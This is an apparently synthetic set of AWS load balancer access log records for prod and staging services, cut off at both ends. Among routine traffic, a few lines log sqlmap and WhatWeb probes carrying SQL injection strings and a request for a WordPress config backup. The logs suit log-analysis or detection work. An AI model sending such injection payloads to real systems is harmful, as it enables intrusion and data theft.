"10.0.20.212:443" "301" "-" "-" +https 2024-11-01T00:48:00.073093Z prod-api-alb 27.234.32.103:16430 10.0.226.24:443 0.093511 0.469376 0.090846 200 200 834 818 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c2d0-a9891434ac024b4d94416c48" "prod-api-alb.example.com" "-" 2 2024-11-01T00:48:00.073093Z "forward" "-" "-" "10.0.226.24:443" "200" "-" "-" +http 2024-11-01T00:48:01.048237Z staging-alb 104.152.109.194:25820 151.154.98.70:443 0.052653 0.478591 0.022437 200 200 500 1359 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c2d1-2ef3e648ef024819b9022fd4" "staging-alb.example.com" "-" 1 2024-11-01T00:48:01.048237Z "forward" "-" "-" "151.154.98.70:443" "200" "-" "-" +https 2024-11-01T00:48:02.311883Z staging-alb 119.223.71.83:41959 139.79.202.167:443 0.043413 0.468321 0.075684 404 404 643 5202 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c2d2-32a3ea5b440b40d48cad7753" "staging-alb.example.com" "-" 2 2024-11-01T00:48:02.311883Z "forward" "-" "-" "139.79.202.167:443" "404" "-" "-" +https 2024-11-01T00:48:02.686117Z prod-api-alb 60.203.0.61:51054 10.0.125.197:443 0.064133 0.218943 0.086274 301 301 26 10707 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c2d2-b8b9e800e4fc4018942af8d8" "prod-api-alb.example.com" "-" 10 2024-11-01T00:48:02.686117Z "forward" "-" "-" "10.0.125.197:443" "301" "-" "-" +http 2024-11-01T00:48:03.585473Z staging-alb 193.27.228.131:28914 78.38.47.0:8080 0.141649 0.048893 0.001182 403 403 781 12119 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c2d3-e938c9ecb7e64d809865f71c" "-" "-" 10 2024-11-01T00:48:03.585473Z "forward" "-" "-" "78.38.47.0:8080" "403" "-" "-" +https 2024-11-01T00:48:04.637880Z prod-api-alb 185.181.39.39:31183 10.0.69.168:443 0.051911 0.216706 0.054562 200 200 593 11544 "GET /search?q=1' UNION SELECT HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c2d4-88fc94ffedb6458e8e00297d" "-" "-" 6 2024-11-01T00:48:04.637880Z "forward" "-" "-" "10.0.69.168:443" "200" "-" "-" +https 2024-11-01T00:48:05.718370Z prod-api-alb 100.11.47.205:63125 10.0.28.136:443 0.066885 0.339477 0.084315 200 200 595 3920 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c2d5-f71e287f75c744cbad8b7984" "prod-api-alb.example.com" "-" 0 2024-11-01T00:48:05.718370Z "forward" "-" "-" "10.0.28.136:443" "200" "-" "-" +https 2024-11-01T00:48:06.622037Z staging-alb 73.152.49.57:27223 23.78.204.220:443 0.121495 0.607885 0.137243 302 302 90 14871 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c2d6-8f9d0f6bb874488b8868d871" "staging-alb.example.com" "-" 8 2024-11-01T00:48:06.622037Z "forward" "-" "-" "23.78.204.220:443" "302" "-" "-" +https 2024-11-01T00:48:06.792618Z staging-alb 190.229.31.252:23609 49.225.230.108:80 0.044378 0.359501 0.088031 301 301 568 8987 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c2d6-77bee90c00164908ae074363" "staging-alb.example.com" "-" 7 2024-11-01T00:48:06.792618Z "forward" "-" "-" "49.225.230.108:80" "301" "-" "-" +https 2024-11-01T00:48:07.172051Z prod-api-alb 197.185.74.73:19438 10.0.62.250:443 0.081534 0.268865 0.069625 200 200 719 8529 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c2d7-cb72cbd3f1484129a1db420c" "prod-api-alb.example.com" "-" 6 2024-11-01T00:48:07.172051Z "forward" "-" "-" "10.0.62.250:443" "200" "-" "-" +https 2024-11-01T00:48:08.066740Z prod-api-alb 81.85.24.144:21055 10.0.66.62:443 0.016675 0.206561 0.060889 200 200 410 8537 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c2d8-337c073a54ce4e22b72dcec5" "prod-api-alb.example.com" "-" 8 2024-11-01T00:48:08.066740Z "forward" "-" "-" "10.0.66.62:443" "200" "-" "-" +https 2024-11-01T00:48:09.138831Z prod-api-alb 138.249.69.54:47640 10.0.224.14:443 0.014649 0.145551 0.037259 200 200 534 10251 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c2d9-72a0613e8eb94b6caaa0b21d" "prod-api-alb.example.com" "-" 7 2024-11-01T00:48:09.138831Z "forward" "-" "-" "10.0.224.14:443" "200" "-" "-" +http 2024-11-01T00:48:09.639289Z staging-alb 21.112.125.145:10535 108.133.97.201:8080 0.064043 0.467261 0.147934 200 200 161 9092 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c2d9-8d75c4b40b9440609a160e89" "staging-alb.example.com" "-" 2 2024-11-01T00:48:09.639289Z "forward" "-" "-" "108.133.97.201:8080" "200" "-" "-" +https 2024-11-01T00:48:10.570880Z prod-api-alb 175.100.51.224:42385 10.0.181.35:443 0.033495 0.270183 0.042113 301 301 397 8157 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c2da-681e0ab201584dc0950b481c" "prod-api-alb.example.com" "-" 1 2024-11-01T00:48:10.570880Z "forward" "-" "-" "10.0.181.35:443" "301" "-" "-" +https 2024-11-01T00:48:12.501859Z prod-web-alb 185.28.194.252:45790 10.0.212.46:443 0.094887 0.263381 0.031420 200 200 6 1886 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c2dc-0bef1b55398e4f97866a6537" "prod-web-alb.example.com" "-" 1 2024-11-01T00:48:12.501859Z "forward" "-" "-" "10.0.212.46:443" "200" "-" "-" +http 2024-11-01T00:48:13.955447Z staging-alb 147.83.34.167:39291 60.121.178.97:8080 0.110626 0.538239 0.066864 200 200 95 1747 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c2dd-3886f092f7524756b875157a" "staging-alb.example.com" "-" 0 2024-11-01T00:48:13.955447Z "forward" "-" "-" "60.121.178.97:8080" "200" "-" "-" +https 2024-11-01T00:48:14.980271Z prod-api-alb 78.199.134.120:30875 10.0.162.22:443 0.054657 0.366727 0.058074 200 200 852 9645 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c2de-ab8dd1c26d5548318b9141d9" "prod-api-alb.example.com" "-" 7 2024-11-01T00:48:14.980271Z "forward" "-" "-" "10.0.162.22:443" "200" "-" "-" +https 2024-11-01T00:48:16.552649Z prod-api-alb 146.51.220.167:14933 10.0.103.45:443 0.012236 0.009295 0.085587 404 404 937 12923 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c2e0-52ee642b02a042c9be2228bd" "prod-api-alb.example.com" "-" 2 2024-11-01T00:48:16.552649Z "forward" "-" "-" "10.0.103.45:443" "404" "-" "-" +https 2024-11-01T00:48:17.799714Z prod-web-alb 190.125.61.30:18293 10.0.166.154:443 0.006032 0.235825 0.056053 200 200 72 6139 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c2e1-d69bd60512d240f19007f694" "prod-web-alb.example.com" "-" 4 2024-11-01T00:48:17.799714Z "forward" "-" "-" "10.0.166.154:443" "200" "-" "-" +https 2024-11-01T00:48:19.027479Z prod-api-alb 187.33.28.111:19182 10.0.188.234:443 0.059748 0.370639 0.035627 301 301 599 1205 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c2e3-bff8a8b33cce49118db42a69" "prod-api-alb.example.com" "-" 3 2024-11-01T00:48:19.027479Z "forward" "-" "-" "10.0.188.234:443" "301" "-" "-" +https 2024-11-01T00:48:19.320313Z prod-web-alb 185.181.166.125:32669 10.0.79.30:443 0.069245 0.156701 0.022378 301 301 711 14828 "POST /wp-config.php.bak HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c2e3-009b3b2df3de4eb4a0f0259c" "-" "-" 4 2024-11-01T00:48:19.320313Z "forward" "-" "-" "10.0.79.30:443" "301" "-" "-" +https 2024-11-01T00:48:20.578247Z prod-web-alb 176.166.30.159:24909 10.0.237.50:443 0.042420 0.146359 0.003419 301 301 912 5076 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c2e4-9d342c6a2aee4f52ab58196f" "prod-web-alb.example.com" "-" 1 2024-11-01T00:48:20.578247Z "forward" "-" "-" "10.0.237.50:443" "301" "-" "-" +https 2024-11-01T00:48:20.909243Z staging-alb 73.108.179.184:11004 29.235.141.198:80 0.131387 0.167398 0.044825 302 302 167 8894 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c2e4-be8cc42c891a48b39aad98bf" "staging-alb.example.com" "-" 10 2024-11-01T00:48:20.909243Z "forward" "-" "-" "29.235.141.198:80" "302" "-" "-" +https 2024-11-01T00:48:22.767178Z prod-web-alb 170.116.107.150:48106 10.0.226.94:443 0.041804 0.223274 0.000936 302 302 625 7905 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c2e6-ba4ec96edeff4d64807aa05d" "prod-web-alb.example.com" "-" 2 2024-11-01T00:48:22.767178Z "forward" "-" "-" "10.0.226.94:443" "302" "-" "-" +https 2024-11-01T00:48:23.580751Z prod-api-alb 193.27.228.38:12080 10.0.201.251:443 0.049647 0.098275 0.078385 200 200 903 10559 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c2e7-6ba4da7b81ee43fe8b6c6bd0" "-" "-" 10 2024-11-01T00:48:23.580751Z "forward" "-" "-" "10.0.201.251:443" "200" "-" "-" +https 2024-11-01T00:48:25.377131Z prod-web-alb 141.106.154.96:39110 10.0.165.73:443 0.037148 0.200528 0.024857 302 302 897 8162 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c2e9-89ba732091134072bc2574fb" "prod-web-alb.example.com" "-" 1 2024-11-01T00:48:25.377131Z "forward" "-" "-" "10.0.165.73:443" "302" "-" "-" +https 2024-11-01T00:48:26.258142Z staging-alb 197.144.117.43:23763 250.180.91.206:8080 0.027723 0.121469 0.134595 200 200 483 1595 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c2ea-b3584ab9ccf54ac6a021369d" "staging-alb.example.com" "-" 1 2024-11-01T00:48:26.258142Z "forward" "-" "-" "250.180.91.206:8080" "200" "-" "-" +https 2024-11-01T00:48:27.861039Z prod-web-alb 194.75.171.227:14712 10.0.59.94:443 0.001782 0.389360 0.062763 200 200 507 14542 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c2eb-2b41e7aa64ef4133aa08793d" "prod-web-alb.example.com" "-" 2 2024-11-01T00:48:27.861039Z "forward" "-" "-" "10.0.59.94:443" "200" "-" "-" +https 2024-11-01T00:48:28.155998Z prod-api-alb 213.20.1.185:35330 10.0.102.107:443 0.061825 0.373509 0.097097 200 200 340 5122 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c2ec-6798b8b15d3a43fbbcfafd2d" "prod-api-alb.example.com" "-" 6 2024-11-01T00:48:28.155998Z "forward" "-" "-" "10.0.102.107:443" "200" "-" "-" +https 2024-11-01T00:48:29.500479Z staging-alb 184.155.51.135:55094 167.228.77.134:443 0.057195 0.376048 0.145292 404 404 720 9247 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c2ed-2ae47cc6481c47b4902ef149" "staging-alb.example.com" "-" 8 2024-11-01T00:48:29.500479Z "forward" "-" "-" "167.228.77.134:443" "404" "-" "-" +https 2024-11-01T00:48:31.016272Z prod-web-alb 92.23.164.204:13317 10.0.248.171:443 0.002963 0.379934 0.011953 200 200 952 8035 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c2ef-5bd3829ffbb04bf68825d828" "prod-web-alb.example.com" "-" 1 2024-11-01T00:48:31.016272Z "forward" "-" "-" "10.0.248.171:443" "200" "-" "-" +https 2024-11-01T00:48:32.939264Z prod-api-alb 74.138.250.59:50323 10.0.199.132:443 0.003338 0.161083 0.004387 301 301 257 12262 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c2f0-a705a543fa8f408d86166baa" "prod-api-alb.example.com" "-" 8 2024-11-01T00:48:32.939264Z "forward" "-" "-" "10.0.199.132:443" "301" "-" "-" +https 2024-11-01T00:48:34.321769Z prod-api-alb 113.195.59.179:42609 10.0.119.243:443 0.066546 0.130102 0.095191 200 200 169 12098 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c2f2-4fcde331b2d04ed1a710e7a7" "prod-api-alb.example.com" "-" 6 2024-11-01T00:48:34.321769Z "forward" "-" "-" "10.0.119.243:443" "200" "-" "-" +https 2024-11-01T00:48:35.538418Z prod-api-alb 80.20.120.31:49048 10.0.117.247:443 0.040514 0.016361 0.094895 404 404 557 6060 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c2f3-bc466c7aa96140da8429ff05" "prod-api-alb.example.com" "-" 5 2024-11-01T00:48:35.538418Z "forward" "-" "-" "10.0.117.247:443" "404" "-" "-" +https 2024-11-01T00:48:37.292850Z prod-web-alb 182.202.147.24:43230 10.0.174.79:443 0.029701 0.315044 0.042461 302 302 122 4484 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c2f5-ef1829af105e493aab58c45e" "prod-web-alb.example.com" "-" 0 2024-11-01T00:48:37.292850Z "forward" "-" "-" "10.0.174.79:443" "302" "-" "-" +https 2024-11-01T00:48:37.661316Z prod-web-alb 201.25.215.166:17243 10.0.178.15:443 0.028883 0.176673 0.019081 200 200 862 13497 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c2f5-9f150b5744814376bb32eef6" "prod-web-alb.example.com" "-" 6 2024-11-01T00:48:37.661316Z "forward" "-" "-" "10.0.178.15:443" "200" "-" "-" +https 2024-11-01T00:48:38.064189Z prod-web-alb 199.201.90.64:26127 10.0.165.140:443 0.011185 0.228275 0.036051 301 301 823 4041 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c2f6-194435cc03af4e2e9f5d9646" "prod-web-alb.example.com" "-" 6 2024-11-01T00:48:38.064189Z "forward" "-" "-" "10.0.165.140:443" "301" "-" "-" +http 2024-11-01T00:48:39.298007Z staging-alb 245.201.9.176:30831 68.3.59.25:8080 0.085858 0.178711 0.085514 200 200 3 10400 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c2f7-e69718e4e5f5494883c88086" "staging-alb.example.com" "-" 3 2024-11-01T00:48:39.298007Z "forward" "-" "-" "68.3.59.25:8080" "200" "-" "-" +http 2024-11-01T00:48:40.900927Z staging-alb 17.128.215.21:13321 24.44.50.27:80 0.000262 0.511391 0.005997 200 200 902 13534 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c2f8-bb85cfe8eebf47acac312f2b" "staging-alb.example.com" "-" 6 2024-11-01T00:48:40.900927Z "forward" "-" "-" "24.44.50.27:80" "200" "-" "-" +https 2024-11-01T00:48:41.291334Z prod-api-alb 140.133.131.75:25350 10.0.218.28:443 0.016732 0.346015 0.003685 200 200 279 667 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c2f9-6f46c7042e8e4a859f2642cf" "prod-api-alb.example.com" "-" 9 2024-11-01T00:48:41.291334Z "forward" "-" "-" "10.0.218.28:443" "200" "-" "-" +https 2024-11-01T00:48:42.653897Z prod-web-alb 124.225.204.9:22109 10.0.22.205:443 0.066449 0.380336 0.009714 302 302 669 12779 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c2fa-f5e4b6ddb2a2414fa088f444" "prod-web-alb.example.com" "-" 4 2024-11-01T00:48:42.653897Z "forward" "-" "-" "10.0.22.205:443" "302" "-" "-" +https 2024-11-01T00:48:44.065731Z staging-alb 85.189.100.97:59327 184.40.215.219:8080 0.042867 0.197561 0.032432 302 302 871 14144 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c2fc-034762687da04fb9ba879661" "staging-alb.example.com" "-" 0 2024-11-01T00:48:44.065731Z "forward" "-" "-" "184.40.215.219:8080" "302" "-" "-" +http 2024-11-01T00:48:45.456608Z staging-alb 191.231.104.137:36631 206.160.174.29:8080 0.142573 0.022183 0.115428 200 200 16 7343 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c2fd-4b2a6bd1f2454587b4416798" "staging-alb.example.com" "-" 1 2024-11-01T00:48:45.456608Z "forward" "-" "-" "206.160.174.29:8080" "200" "-" "-" +https 2024-11-01T00:48:45.818183Z staging-alb 32.97.171.248:59724 219.119.106.112:443 0.114793 0.449579 0.002925 200 200 300 14951 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c2fd-dd866e22ac0842dcb51faca2" "staging-alb.example.com" "-" 4 2024-11-01T00:48:45.818183Z "forward" "-" "-" "219.119.106.112:443" "200" "-" "-" +https 2024-11-01T00:48:47.261686Z prod-web-alb 246.101.41.85:26597 10.0.98.31:443 0.015233 0.044780 0.042716 200 200 584 3396 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c2ff-830e4b36fecc4e9fb83dd2ca" "prod-web-alb.example.com" "-" 7 2024-11-01T00:48:47.261686Z "forward" "-" "-" "10.0.98.31:443" "200" "-" "-" +https 2024-11-01T00:48:47.926164Z prod-web-alb 28.213.54.19:63419 10.0.22.173:443 0.000824 0.166922 0.025161 302 302 836 7757 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c2ff-2191ee9855734d53a20d6ddf" "prod-web-alb.example.com" "-" 2 2024-11-01T00:48:47.926164Z "forward" "-" "-" "10.0.22.173:443" "302" "-" "-" +https 2024-11-01T00:48:49.127527Z prod-api-alb 185.181.26.16:19631 10.0.203.37:443 0.030972 0.243546 0.036015 500 500 219 9950 "GET /search?q=1' UNION SELECT HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c301-5888a20fb7d049929cdabe2f" "-" "-" 4 2024-11-01T00:48:49.127527Z "forward" "-" "-" "10.0.203.37:443" "500" "-" "-" +https 2024-11-01T00:48:49.456941Z staging-alb 15.189.32.113:64559 208.129.106.163:8080 0.048688 0.004542 0.003452 200 200 59 6785 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c301-f41a6154d53248f3b41f248b" "staging-alb.example.com" "-" 8 2024-11-01T00:48:49.456941Z "forward" "-" "-" "208.129.106.163:8080" "200" "-" "-" +https 2024-11-01T00:48:49.940322Z 